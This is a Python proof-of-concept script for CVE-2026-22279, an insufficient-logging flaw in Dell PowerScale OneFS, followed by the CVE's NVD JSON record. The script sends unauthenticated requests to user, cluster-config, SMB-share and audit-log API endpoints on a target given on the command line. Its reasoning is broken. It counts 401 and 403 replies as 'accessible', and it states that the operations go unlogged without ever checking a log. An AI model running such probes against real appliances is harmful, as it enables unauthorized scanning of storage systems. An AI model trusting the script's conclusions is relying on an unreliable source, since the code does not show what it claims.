CVE-2026-22279

# CVE-2026-22279 PoC - Dell PowerScale OneFS Insufficient Logging # Target: Dell PowerScale OneFS < 9.13.0.0 # Type: Insufficient Logging leading to Information Tampering import requests import sys import time from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def test_cve_2026_22279(target_url): """ Test for CVE-2026-22279: Insufficient Logging in Dell PowerScale OneFS This PoC demonstrates the lack of proper audit logging for certain operations. """ print(f"[*] Testing CVE-2026-22279 on {target_url}") print(f"[*] Target: Dell PowerScale OneFS < 9.13.0.0") # Test endpoints that should be logged but aren't endpoints = [ "/platform/1/auth/users", "/platform/1/cluster/config", "/platform/1/protocols/smb/shares" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {endpoint}") try: # Send request without authentication (unauthenticated access) response = requests.get(url, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check if the request was successful if response.status_code in [200, 401, 403]: print(f"[!] Endpoint is accessible, but operation may not be logged") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("\n[*] Note: In a properly logged system, all these requests should be recorded") print("[*] in the audit log with timestamps, source IPs, and user credentials") print("[*] For CVE-2026-22279, these operations lack proper audit trail") def check_audit_logs(target_url): """ Check if operations are being properly logged """ print("\n[*] Checking audit log configuration...") # Attempt to access audit logs audit_url = target_url.rstrip('/') + "/platform/1/audit/logs" try: response = requests.get(audit_url, timeout=10, verify=False) print(f"[*] Audit log access status: {response.status_code}") except: print("[-] Unable to access audit logs") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_22279.py <target_url>") print("Example: python cve_2026_22279.py https://192.168.1.100") sys.exit(1) target = sys.argv[1] test_cve_2026_22279(target) check_audit_logs(target) print("\n[*] Testing complete")

{"cve": {"id": "CVE-2026-22279", "sourceIdentifier": "[email protected]", "published": "2026-01-22T19:15:56.843", "lastModified": "2026-01-28T18:16:38.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerScale OneFS, versions prior 9.13.0.0, contains an insufficient logging vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information tampering."}, {"lang": "es", "value": "Dell PowerScale OneFS, versiones anteriores a la 9.13.0.0, contiene una vulnerabilidad de registro insuficiente. Un atacante no autenticado con acceso remoto podría potencialmente explotar esta vulnerabilidad, lo que podría llevar a la manipulación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-778"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.13.0.0", "matchCriteriaId": "D004A551-1E20-4170-A949-143E488FA9C9"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000415586/dsa-2026-049-security-update-for-dell-powerscale-onefs-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}